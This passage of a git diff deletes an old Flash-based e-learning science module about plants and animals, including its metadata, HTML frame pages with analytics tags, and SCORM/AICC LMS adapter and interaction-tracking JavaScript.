-         </name>
-      </requirement>
-   </technical>
-   <educational>
-      <learningresourcetype>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Narrative Text</langstring>
-         </value>
-      </learningresourcetype>
-      <typicallearningtime>
-         <datetime>0000-00-00T00:02:00</datetime>
-      </typicallearningtime>
-   </educational>
-   <rights>
-      <cost>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </cost>
-      <copyrightandotherrestrictions>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </copyrightandotherrestrictions>
-   </rights>
-   <classification>
-      <purpose>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Educational Objective</langstring>
-         </value>
-      </purpose>
-      <description>
-         <langstring>AAAAAAAAA</langstring>
-      </description>
-  <keyword>
-         <langstring>AAAAAAAAA</langstring>
-      </keyword>
-   </classification>
-</lom>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/module/blank.html b/Explore/elr/Science/S0501/module/blank.html
deleted file mode 100755
index 3fc4bb3..0000000
--- a/Explore/elr/Science/S0501/module/blank.html
+++ /dev/null
@@ -1 +0,0 @@
-<HTML><BODY></BODY></HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/module/courseData.xml b/Explore/elr/Science/S0501/module/courseData.xml
deleted file mode 100755
index ff67b36..0000000
--- a/Explore/elr/Science/S0501/module/courseData.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<course isflipbook='true'>
-	<page>
-		<name>Introduction</name>
-		<fileName>swf/L5-01/L5-01.swf</fileName>
-		<ID>L5-01</ID>
-	</page>
-	<page ishome='true'>> 
-		<name>Main Menu</name>
-		<fileName>swf/L5-02/L5-02.swf</fileName>
-		<ID>L5-02</ID>	
-	</page>
-	<page>
-		<name>Plants</name>
-		<fileName>swf/L5-03/L5-03.swf</fileName>
-		<ID>L5-03</ID>
-	</page>
-	<page>
-		<name>Animals</name>
-		<fileName>swf/L5-04/L5-04.swf</fileName>
-		<ID>L5-04</ID>
-	</page>
-	<page>
-		<name>Conclusion</name>
-		<fileName>swf/L5-05/cirtificate.swf</fileName>
-		<ID>L5-05</ID>
-	</page>
-	
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/module/lev.swf b/Explore/elr/Science/S0501/module/lev.swf
deleted file mode 100755
index 34f8c34..0000000
--- a/Explore/elr/Science/S0501/module/lev.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/module/module1.htm b/Explore/elr/Science/S0501/module/module1.htm
deleted file mode 100755
index ff75d97..0000000
--- a/Explore/elr/Science/S0501/module/module1.htm
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>Untitled Document</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-function closeWin()
-{
-top.close();
-window.close();
-parent.window.close();
-}
-</script>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285062; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="3cc7ba75"; 
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285062/0/3cc7ba75/0/" alt="website tracker" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-</head>
-
-<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-<table width="100%" border="0" cellspacing="0" cellpadding="0">
-  <tr>
-    <td align="left" valign="top"> 
-      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="800" height="600">
-        <param name="quality" value="high">
-        <param name="SRC" value="lev.swf">
-        <embed src="lev.swf" width="800" height="600" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object> 
-    </td>
-  </tr>
-</table>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0501/module/module1_controller.html b/Explore/elr/Science/S0501/module/module1_controller.html
deleted file mode 100755
index bcbaabf..0000000
--- a/Explore/elr/Science/S0501/module/module1_controller.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<html>
-<head>
-<script language='javascript' src='../shared/scripts/csl_scofunctions.js'></script>
-<script language='javascript' src='../shared/scripts/csl_navigation.js'></script>
-<script language='javascript' src='../shared/scripts/csl_extensions.js'></script>
-<script language='javascript' src='../shared/scripts/csl_randomassmt.js'></script>
-<script language='javascript' src='../shared/scripts/csl_utils.js'></script>
-<script language='javascript'>
-	addPage("0","module1.htm");
-	var contentFrame = parent.frames.content;
-	setContentFrame(contentFrame);
-	loadPage();
-</script>
-</head>
-<body onunload="unloadPage()" >
-
-</body>
-</html>
diff --git a/Explore/elr/Science/S0501/module/module1_home.html b/Explore/elr/Science/S0501/module/module1_home.html
deleted file mode 100755
index 3661ef8..0000000
--- a/Explore/elr/Science/S0501/module/module1_home.html
+++ /dev/null
@@ -1,7 +0,0 @@
-<HTML>
-	<head><title></title></head>
-	<frameset rows="*,100%" >
-		<frame name="controller" scrolling="no"   src="module1_controller.html"  noresize frameborder="0" border="0" framespacing="0">
-		<frame name="content" src="blank.html"  noresize frameborder="0" border="0" framespacing="0">
-	</frameset>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/module/swf/L5-01/L5-01.swf b/Explore/elr/Science/S0501/module/swf/L5-01/L5-01.swf
deleted file mode 100755
index 82d5b01..0000000
--- a/Explore/elr/Science/S0501/module/swf/L5-01/L5-01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/module/swf/L5-02/L5-02.swf b/Explore/elr/Science/S0501/module/swf/L5-02/L5-02.swf
deleted file mode 100755
index 9d0bcfe..0000000
--- a/Explore/elr/Science/S0501/module/swf/L5-02/L5-02.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/module/swf/L5-03/L5-03.swf b/Explore/elr/Science/S0501/module/swf/L5-03/L5-03.swf
deleted file mode 100755
index 8750c65..0000000
--- a/Explore/elr/Science/S0501/module/swf/L5-03/L5-03.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/module/swf/L5-04/L5-04.swf b/Explore/elr/Science/S0501/module/swf/L5-04/L5-04.swf
deleted file mode 100755
index 34f8752..0000000
--- a/Explore/elr/Science/S0501/module/swf/L5-04/L5-04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/module/swf/L5-05/cirtificate.swf b/Explore/elr/Science/S0501/module/swf/L5-05/cirtificate.swf
deleted file mode 100755
index 9630f8f..0000000
--- a/Explore/elr/Science/S0501/module/swf/L5-05/cirtificate.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/shared/images/back.gif b/Explore/elr/Science/S0501/shared/images/back.gif
deleted file mode 100755
index b1e83d9..0000000
--- a/Explore/elr/Science/S0501/shared/images/back.gif
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/shared/images/forward.gif b/Explore/elr/Science/S0501/shared/images/forward.gif
deleted file mode 100755
index 6c42c32..0000000
--- a/Explore/elr/Science/S0501/shared/images/forward.gif
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/shared/scripts/aicc.jar b/Explore/elr/Science/S0501/shared/scripts/aicc.jar
deleted file mode 100755
index 19462a9..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/aicc.jar
+++ /dev/null
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_aiccadapter.js b/Explore/elr/Science/S0501/shared/scripts/csl_aiccadapter.js
deleted file mode 100755
index 100b5fc..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_aiccadapter.js
+++ /dev/null
@@ -1,714 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-
-//
-//	The following variable is used to specify whether to use the aiccconnector.jsp to connect to the LMS or not. 
-//	The aiccconnector.jsp should be used inside the same folder as the javascript files. This is required because
-//	of the domain restrictions when the content is deployed in a different server than the LMS.
-//
-
-var jspUsed = false;
-
-
-var AICCurl = "";
-var AICCsid = "";
-var AICCver = "";
-
-var LMSEnabled = false;
-var aicc_controllerFrame;
-var aicc_controllerFrame_loc;;
-
-var CoreGroup;
-var ObjectiveStatus;
-var AICCCoreLesson = "";
-var isInitialized = false;
-
-var timeout = false;
-var timeoutInMilliSeconds = 3000;
-
-var errorMessage = "";
-var errorCode = "";
-
-
-
-
-// ****************************************************************************************
-//	Private functions, to be used only inside this document.
-// ****************************************************************************************/
-
-var agt=navigator.userAgent.toLowerCase();
-
-    // *** BROWSER VERSION ***
-    
-    var is_major = parseInt(navigator.appVersion);
-    var is_minor = parseFloat(navigator.appVersion);
-
-    var is_nav  = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
-                && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
-                && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
-    var is_nav4up = (is_nav && (is_major >= 4));
-    
-    var is_nav6 = (is_nav && (is_major == 5));
-    var is_nav6up = (is_nav && (is_major >= 5));
-    
-
-
-    var is_ie     = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));    
-    var is_ie4up  = (is_ie && (is_major >= 4));
-
-
-//
-//	Constructor for object AICCCoreGroup
-//
-//
-
-function AICCCoreGroup(){
-	this.studentId = '';
-	this.studentName = '';
-	this.credit = '';
-	this.lessonLocation = '';
-	this.lessonStatus = '';
-	this.score = '';
-	this.time = '';
-	this.toString = CoreGroup_toString;
-	this.fromString = CoreGroup_fromString;
-	this.isValid = false;
-}
-
-
-
-//
-//	Constructor for AICCCoreVendor. Currently not implemented.
-//
-//
-function AICCCoreVendor(){
-}
-
-
-function AICCObjectiveStatus(){
-
-	this.objectiveID = '';
-	this.score = '';
-	this.status = '';
-
-	this.toString = ObjectiveStatus_toString;
-	this.fromString = ObjectiveStatus_fromString;
-}
-
-
-function CoreGroup_toString(){
-	var tString = "";
-	tString += "student_id=" + this.studentId + "\n";
-	tString += "student_name=" + this.studentName + "\n";
-	tString += "lesson_location=" + this.lessonLocation + "\n";
-	tString += "credit=" + this.credit + "\n"; 
-	tString += "lesson_status=" + this.lessonStatus + "\n";
-	tString += "score=" + this.score + "\n";
-	tString += "time=" + this.time + "\n";
-
-	return tString;
-}
-
-
-
-
-
-function CoreGroup_fromString(aiccdata){
-
-	var index;
-	var nextGroupIndex; 
-	var groupString;
-	var nextIndex;
-	
-	var value	=	"";
-	var spaceCharRemover	=	new RegExp();
-	spaceCharRemover.compile("([^\n\r\t\f\v]+)");
-	
-	
-	regExp.compile("error=(.+)");
-			
-	if(regExp.test(aiccdata)){
-		value = RegExp.$1 ;
-		if(spaceCharRemover.test(value)) value = RegExp.$1;
-		error	=	parseInt(value);
-	}	
-	else error	=	-1;
-	
-	
-	if( error == 0 ){
-		this.isValid = true;
-	}
-	else{
-		errorCode = "301";
-		errorMessage = aiccdata;
-	}
-	
-	index = aiccdata.indexOf("[core]");
-	if( index != -1 ){ 
-		index += 6;
-		nextGroupIndex = getNextGroupIndex(aiccdata,index);
-		groupString = aiccdata.substring( index, nextGroupIndex-1 );
-	}
-	
-	
-	if( groupString ){
-				
-
-
-		regExp.compile("student_id=(.+)");		
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.studentId	=	value;
-		}		
-
-		else this.studentId	=	"";
-
-
-
-		regExp.compile("student_name=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.studentName	=	value;
-		}
-		else this.studentName	=	"";
-
-
-		regExp.compile("lesson_location=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.lessonLocation	=	value;
-		}
-		else this.lessonLocation	=	"";
-
-
-		regExp.compile("credit=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.credit	=	value;
-		}
-		else this.credit	=	"";
-
-		regExp.compile("lesson_status=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.lessonStatus	=	value;
-		}
-		else this.lessonStatus	=	"";
-
-		regExp.compile("score=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.score	=	value;
-		}
-		else this.score	=	"0";		
-
-		regExp.compile("time=(.+)");
-		if( regExp.test(groupString) ) {
-			value	=	RegExp.$1;
-			if(spaceCharRemover.test(value)) value	=	RegExp.$1;
-			this.time	=	value;
-		}
-		else this.time	=	"00:00:00";
-	}
-}
-
-
-
-function ObjectiveStatus_toString(){
-	var tString = "";
-	tString += "j_id=" + this.objectiveID + "\n";
-	tString += "j_score=" + this.score+ "\n";
-	tString += "j_status=" + this.status+ "\n";
-
-	return tString;
-}
-
-
-function ObjectiveStatus_fromString(aiccdata){
-
-	var index = aiccdata.indexOf("[objectives_status]") + 19;
-	var nextGroupIndex = getNextGroupIndex(aiccdata,index);
-	var groupString = aiccdata.substring( index, nextGroupIndex-1 );
-
-	index = aiccdata.indexOf("j_id");
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+5 );
-		this.objectiveID = aiccdata.substring(index, nextIndex );
-	}
-
-	index = aiccdata.indexOf("j_score") ;
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+8 );
-		this.score = aiccdata.substring(index, nextIndex );
-	}
-
-	index = aiccdata.indexOf("j_status") ;
-	if( index != -1 ){
-		nextIndex = getNextIndex(aiccdata, index+9 );
-		this.status = aiccdata.substring(index, nextIndex );
-	}
-}
-
-
-
-function AICCCoreLesson(){
-	this.fromString = CoreLesson_fromString;
-}
-
-
-
-function CoreLesson_toString(){
-
-}
-
-
-
-function parseCoreLessonString(aiccdata){
-	var index = aiccdata.indexOf("[core_lesson]");
-	if( index != -1 ){
-		index = index + 13;
-		var nextGroupIndex = getNextGroupIndex(aiccdata,index);
-		var groupString = aiccdata.substring( index, nextGroupIndex-1 );
-		AICCCoreLesson = groupString;
-	}
-	else{
-		AICCCoreLesson = "";	
-	}
-}
-
-
-function getNextIndex(data, fromIndex ){
-	var nextIndex;
-	nextIndex = data.indexOf("\n",fromIndex);
-	nextIndex--;
-    if(nextIndex <= -1){
-		nextIndex = data.length;
-	}
-    return nextIndex;
-}
-
-function getNextGroupIndex(data,fromIndex) {
-	var nextIndex = data.indexOf("[",fromIndex);
-        if(nextIndex == -1){
-		nextIndex = data.length;
-	}
-        return nextIndex+1;
-}
-
-
-
-function parseQueryString(url){
-	AICCurl = getParamValue("aicc_url",url);
-	AICCsid = getParamValue("aicc_sid",url);
-
-	AICCsid = unescape(AICCsid);
-
-	if( AICCurl ){
-		if( AICCurl != "" ){
-			AICCurl = unescape(AICCurl);
-			if( AICCurl.indexOf("http") == -1 && AICCurl.indexOf("https") == -1 ){
-				AICCurl = location.protocol + "//" + AICCurl;
-			}			
-			LMSEnabled = true;
-		}
-	}
-
-}
-
-function loadAICCResponse(){
-	var tempURL = "";
-	if( LMSEnabled ){
-		if( jspUsed ){
-			tempURL = "aiccconnector.jsp?session_id=" + AICCsid + "&aicc_url=" + AICCurl;
-		}
-		else{
-			tempURL = AICCurl + "?command=getparam&session_id=" + AICCsid;
-		}
-	}
-	
-	if( ( document.all || is_nav6 || is_nav6up) && LMSEnabled ){
-	
-			parent.aiccresponse.location.href= tempURL;
-	
-	}
-}
-
-function getAICCData(){
-
-	var tDataString = "";
-	if( document.all ){
-		if( parent.aiccresponse ){
-			tDataString = parent.aiccresponse.document.body.innerText;
-		}
-	}
-	else{
-		
-		if(( is_nav6 || is_nav6up ) && parent.aiccresponse.document.body){ 	
-
-			var tNode	=	searchForTextNode(parent.aiccresponse.document.body);
-
-			if(tNode != null ) tDataString = "" + tNode.nodeValue;					
-			else tDataString	=	"";
-			
-		}					
-		else if( parent.aiccloader.document.applets['aiccapplet'] ){
-
-			parent.aiccloader.document.applets['aiccapplet'].setAICCURL(AICCurl);
-
-			parent.aiccloader.document.applets['aiccapplet'].setAICCSession(AICCsid);
-
-			tDataString = "" + parent.aiccloader.document.applets['aiccapplet'].getAICCData();
-
-		}
-	}
-	
-	CoreGroup = new AICCCoreGroup();
-	CoreGroup.fromString( tDataString );
-	ObjectiveStatus	= new AICCObjectiveStatus();
-	ObjectiveStatus.fromString( tDataString );
-
-	parseCoreLessonString( tDataString );
-	if( isAdapterLoaded() ){
-		isInitialized = true;
-		return "true";
-	}
-	else{
-		return "false";
-	}	
-}
-
-
-
-function getParamValue( paramname , querystring ){
-
-	var start = querystring.indexOf(paramname);
-	var tString = querystring.substring(start,querystring.length );
-
-	var end = tString.indexOf("&");
-	if( tString.indexOf("&") == -1 ){
-		end = tString.length;
-	}
-
-	tString = tString.substring( tString.indexOf(paramname), end  );
-	var paramValue = tString.substring( tString.indexOf("=") +1 , tString.length );
-
-	return paramValue;
-}
-
-
-function isAdapterLoaded(){
-	if( CoreGroup ){
-		if( CoreGroup.isValid == true ){
-			return true;
-		}
-		else{
-			return false;
-		}
-	}
-	else{
-		return false;
-	}
-}
-
-
-function holdOnFewSeconds(){
-	for(i=0; i < 10000; i++){
-		
-	}	
-}
-
-
-
-//
-//	The following functions are the AICC equivalent of the SCORM standard calls.
-//
-
-var tAttempts = 0;
-var isLoading = true;
-var iTotalAttempts = 30;
-
-function setControllerFrame(pFrame, pLoc ){
-	aicc_controllerFrame = pFrame;
-	aicc_controllerFrame_loc = pLoc;
-}
-
-
-function lookForContentChange(){
-	tAttempts++;
-	if( tAttempts < iTotalAttempts ){
-		if( document.all ){
-			var tString = "";
-			if( parent.aiccresponse.document.body && parent.aiccresponse.document.body.innerText)
-				tString = parent.aiccresponse.document.body.innerText ;
-				
-			if( tString.length > 0 ){
-				aicc_controllerFrame.location.href = aicc_controllerFrame_loc;	
-				isLoading = false;
-			}
-			else{
-				setTimeout('lookForContentChange()',500);
-			}
-		}
-		else if(is_nav6 || is_nav6up){
-					var tString	=	"";
-					
-					var tNode	=	searchForTextNode(parent.aiccresponse.document.body);
-					if(tNode && tNode.nodeValue) tString 	= 	tNode.nodeValue;
-					
-					
-					if( tString.length > 0 ){
-					
-						aicc_controllerFrame.location.href = aicc_controllerFrame_loc;	
-		
-						isLoading = false;			
-					
-					}
-			
-					else{
-					
-						setTimeout('lookForContentChange()',500);
-					
-					}
-				
-		}
-		else{
-			if(document.applets['aiccapplet'] ){
-				aicc_controllerFrame.location.href = aicc_controllerFrame_loc;
-				isLoading = false;				
-			}
-			else{
-				setTimeout('lookForContentChange()',500);				
-			}				
-		}
-	}
-	else{
-		isLoading = false;
-		alert("Unable to connect to the AICC LMS. Connection timed out.");
-	}
-}
-
-
-
-function initAICCAdapter(){
-	if( isInitialized ){
-		return "";
-	}
-	getAICCData();
-	return true;
-}
-
-
-function finishAICCAdapter(){
-
-	tAICCData = "error=0\nerror_text=Successful\nversion=2.0\naicc_data=\n[core]\n";
-	tAICCData += CoreGroup + "\n[core_lesson]\n";
-	tAICCData += AICCCoreLesson + "\n[core_vendor]\n\n[objectives_status]\n";
-	if( ObjectiveStatus ){
-		tAICCData += ObjectiveStatus.toString();
-	}
-
-	if( isAdapterLoaded() ){
-		//tempAICCurl = location.protocol + "//" + AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";
-		tempAICCurl = AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";		
-		var tForm = parent.frames['aiccloader'].document.forms['aicc'];
-		tForm.action = tempAICCurl;
-		tForm.session_id.value = AICCsid;
-		tForm.aicc_data.value = tAICCData;
-		tForm.submit();	
-		return "true";
-	}
-	else{
-		return "false";
-	}
-	
-}
-
-
-function getLastErrorFromAICC(){
-	return errorCode;
-}
-
-function getErrorStringFromAICC(){
-	return errorMessage;
-}
-
-function getDiagnosticFromAICC(){
-	return "";
-}
-
-
-function setValueToAICC(pName, pValue){
-	
-	if( !isAdapterLoaded()){
-		alert("The LMS adapter is not initialized. Can't set the value");
-		return "false";
-	}
-	if( pName == "cmi.core.lesson_location" ){
-		CoreGroup.lessonLocation = pValue;
-	}
-	else if( pName == "cmi.core.lesson_status" ){
-		CoreGroup.lessonStatus = pValue;
-	}
-	else if( pName == "cmi.core.score.raw" ){
-		CoreGroup.score = pValue;
-	}
-	else if( pName == "cmi.suspend_data" ){
-		AICCCoreLesson = pValue;
-	}
-	else if( pName == "cmi.core.total_time" ){
-		CoreGroup.time = pValue;
-	}	
-	else{
-		if( errorCode != "301" ){
-			//errorCode = "401";
-			//errorMessage = "The requested Data Model is not supported or read only";
-		}
-		return "false";
-	}
-	return "true";
-}
-
-
-function getValueFromAICC(pName){
-
-	if( !isAdapterLoaded()){
-		alert("The LMS adapter is not initialized. Can't get the value");
-		return;
-	}
-	if( pName == "cmi.core.lesson_location" ){
-		return CoreGroup.lessonLocation;
-	}
-	else if( pName == "cmi.core.lesson_status" ){
-		return 	CoreGroup.lessonStatus;
-	}
-	else if( pName == "cmi.core.score.raw" ){
-		return CoreGroup.score;
-	}
-	else if( pName == "cmi.suspend_data" ){
-		return AICCCoreLesson;
-	}
-	else if( pName == "cmi.core.total_time" ){
-		return CoreGroup.time;
-	}
-	else if( pName == "cmi.core.student_id" ){
-		return CoreGroup.studentId;	
-	}
-	else if( pName == "cmi.core.student_name" ){
-		return CoreGroup.studentName;	
-	}
-	else if( pName == "cmi.core.credit" ){
-		return CoreGroup.credit;
-	}
-	else{
-		if( errorCode != "301" ){
-			//errorCode = "401";
-			//errorMessage = "The requested Data Model is not supported or read only";
-		}
-		return "";
-	}
-	return "";
-}
-
-
-function commitAICCAdapter(){
-	
-	tAICCData = "error=0\nerror_text=Successful\nversion=2.0\naicc_data=\n[core]\n";
-	tAICCData += CoreGroup + "\n[core_lesson]\n";
-	tAICCData += AICCCoreLesson + "\n[core_vendor]\n\n[objectives_status]\n";
-	if( ObjectiveStatus ){
-		tAICCData += ObjectiveStatus.toString();
-	}
-
-	if( isAdapterLoaded() ){
-		//tempAICCurl = location.protocol + "//" + AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";
-		tempAICCurl = AICCurl + "?command=putparam&session_id=" + AICCsid + "&version=2.0";		
-		var tForm = parent.frames['aiccDataCommiter'].document.forms['aicc'];
-		tForm.action = tempAICCurl;
-		tForm.session_id.value = AICCsid;
-		tForm.aicc_data.value = tAICCData;
-		tForm.submit();
-		setTimeout("changeAiccDataCommiterLocation()" , 5000);
-		return "true";
-	}
-	else{
-		return "false";
-	}
-}
-
-function changeAiccDataCommiterLocation(){
-	parent.frames['aiccDataCommiter'].document.location.href = "aiccDataCommiter.html" ;
-}
-
-
-function AICCDataModel(){
-	this.LMSInitialize = initAICCAdapter;
-	this.LMSFinish = finishAICCAdapter;
-	this.LMSCommit = commitAICCAdapter;
-	this.LMSGetValue = getValueFromAICC;
-	this.LMSSetValue = setValueToAICC;
-	this.LMSGetLastError = getLastErrorFromAICC;
-	this.LMSGetErrorString = getErrorStringFromAICC;
-	this.LMSGetDiagnostic = getDiagnosticFromAICC;
-}
-
-// breadth first search for a text node.
-function searchForTextNode(pNode){
-	
-	pNode.normalize();	// remove unnecessary text nodes.
-	var nodeToReturn=	null;
-	
-	var childNodes	=	pNode.childNodes;
-	var number	=	childNodes.length;
-	var counter	=	0;
-	var childNode	=	null;
-	
-	while( counter < number ){
-		childNode=	childNodes[counter];
-		
-		if(childNode.nodeType == 3){
-			nodeToReturn	=	childNode;
-			break;
-		}
-		
-		counter++;
-	}
-	
-	
-	if(nodeToReturn == null){
-		counter	=	0;
-		
-		while( counter < number ){
-			childNode=	childNodes[counter];
-
-			nodeToReturn	=	searchForTextNode(childNode);
-
-			if(nodeToReturn != null) break;
-
-			counter++;
-		}
-	}
-	
-	
-	return nodeToReturn;
-}
-
-
-var regExp	=	new RegExp();
-
-var aiccapi;
-
-parseQueryString(top.location.search);
-
-if( AICCurl.length > 0 ){
-	aiccapi = new AICCDataModel();
-}
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_cmiinteractions.js b/Explore/elr/Science/S0501/shared/scripts/csl_cmiinteractions.js
deleted file mode 100755
index 62d90a1..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_cmiinteractions.js
+++ /dev/null
@@ -1,191 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-
-function CMIContainer()
-{	
-	this.ID					=	"CMIContainer";
-	this.interactions			=	new Array();
-	
-	this.addInteraction			=	_addInteraction;
-	
-	this.saveInteractions			=	_saveInteractions;
-	this.name				=	"cmi.interactions";
-}
-
-
-function _addInteraction(pInteractionObject)
-{
-	this.interactions[this.interactions.length]	=	pInteractionObject;
-}
-
-
-function _saveInteractions()
-{
-	var interaction	=	null;
-	
-	//var  communicationsFrame	=	communicationsFrame;
-	if(!communicationsFrame){
-		communicationsFrame  	=	self;
-	}
-	var counter			=	0;
-	var size			=	this.interactions.length;
-	var name			=	"cmi.interactions.";
-	
-	var dmName			=	"";
-	while(counter < size)
-	{
-		interaction		=	this.interactions[counter];
-		dmName			=	name + counter;
-		
-		communicationsFrame.setValue(dmName + ".id" , interaction.id);
-		communicationsFrame.setValue(dmName + ".type" , interaction.type);
-		communicationsFrame.setValue(dmName + ".time" , interaction.time);
-		communicationsFrame.setValue(dmName + ".weighting" , interaction.weighting);
-		communicationsFrame.setValue(dmName + ".student_response" , interaction.student_response);
-		communicationsFrame.setValue(dmName + ".correct_responses.0.pattern" , interaction.correct_response);
-		communicationsFrame.setValue(dmName + ".latency" , interaction.latency);
-		communicationsFrame.setValue(dmName + ".result" , interaction.result);
-		
-		counter++;
-	}
-	
-		
-	
-}
-
-function CMIInteraction(pID)
-{
-	this.id					=	pID;
-	this.type				=	"";
-	this.time				=	"00:00:00";
-	this.weighting				=	"0";
-	this.student_response			=	"";
-	this.correct_response			=	"";	// supports only one correct response pattern
-	this.latency				=	"00:00:00";
-	this.result				=	"";	
-	
-	this.setType				=	_setType;
-	this.getType				=	_getType;
-	
-	this.setTime				=	_setTime;
-	this.getTime				=	_getTime;
-	
-	this.setWeight				=	_setWeight;
-	this.getWeight				=	_getWeight;
-	
-	this.setStudentResponse			=	_setStudentResponse;
-	this.getStudentResponse			=	_getStudentResponse;
-	
-	this.setCorrectResponse			=	_setCorrectResponse;
-	this.getCorrectResponse			=	_getCorrectResponse;
-	
-	this.setLatency				=	_setLatency;
-	this.getLatency				=	_getLatency;
-	
-	this.setResult				=	_setResult;
-	this.getResult				=	_getResult;
-	
-	
-}
-
- 
-
-function _setType(pValue){
-	this.type	=	pValue;
-}
-
- 
-
-function _getType(){
-	return this.type;
-}
-
- 
-
-function _setTime(pValue){
-	this.time	=	pValue;
-}
- 
-
-function _getTime(){
-	return this.time;
-}
-
- 
-
-function _setWeight(pValue){
-	this.weight	=	pValue;
-}
-
- 
-function _getWeight(){
-	return this.weight;
-}
-
-
- 
-function _setStudentResponse(pValue){
-	this.student_response	=	pValue;
-}
-
- 
-function _getStudentResponse(){
-	return this.student_response;
-}
-
- 
-function _setCorrectResponse(pValue){
-	this.correct_response	=	pValue;
-}
- 
-function _getCorrectResponse(){
-	return this.correct_response;
-}
- 
-function _setLatency(pValue){
-	this.latency	=	pValue;
-}
- 
-function _getLatency(){
-	return this.latency;
-}
- 
-function _setResult(pValue){
-	this.result	=	pValue;
-}
-
-function _getResult(){
-	return this.result;
-}
-
-var communicationsFrame	=	null;
-var cmiContainer	=	new CMIContainer();
-
- 
-
-
-function setCommunicationsFrame(pWindow){
-	communicationsFrame = pWindow;
-}
-
- 
-
-function getInteraction(pId){
-	return new CMIInteraction(pId);
-}
-
- 
-
-function addInteraction(pInteraction){
-	cmiContainer.addInteraction(pInteraction);
-}
-
- 
-
-function saveInteractions(){
-	cmiContainer.saveInteractions();
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_extensions.js b/Explore/elr/Science/S0501/shared/scripts/csl_extensions.js
deleted file mode 100755
index b62e200..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_extensions.js
+++ /dev/null
@@ -1,468 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
-var opelapi = findOpelPresentationAPI(window);
-
-var iPopup;
-
-var iPopupHead = "<html><head> <title> DigitalThink, Inc. </title></head><body bgcolor='#dddddd'>";
-iPopupHead += "<style type='text/css'> <!--";
-iPopupHead += ".title {  background: #00319C;font: font-size:12px; font-weight: bold; font-family: Arial, Helvetica, sans-serif;color: White;}";
-iPopupHead += ".term {font-family: Verdana, Arial, Helvetica, sans-serif;font-size:12px;	font-weight: bold;	color: #555555;	text-decoration: none;}";
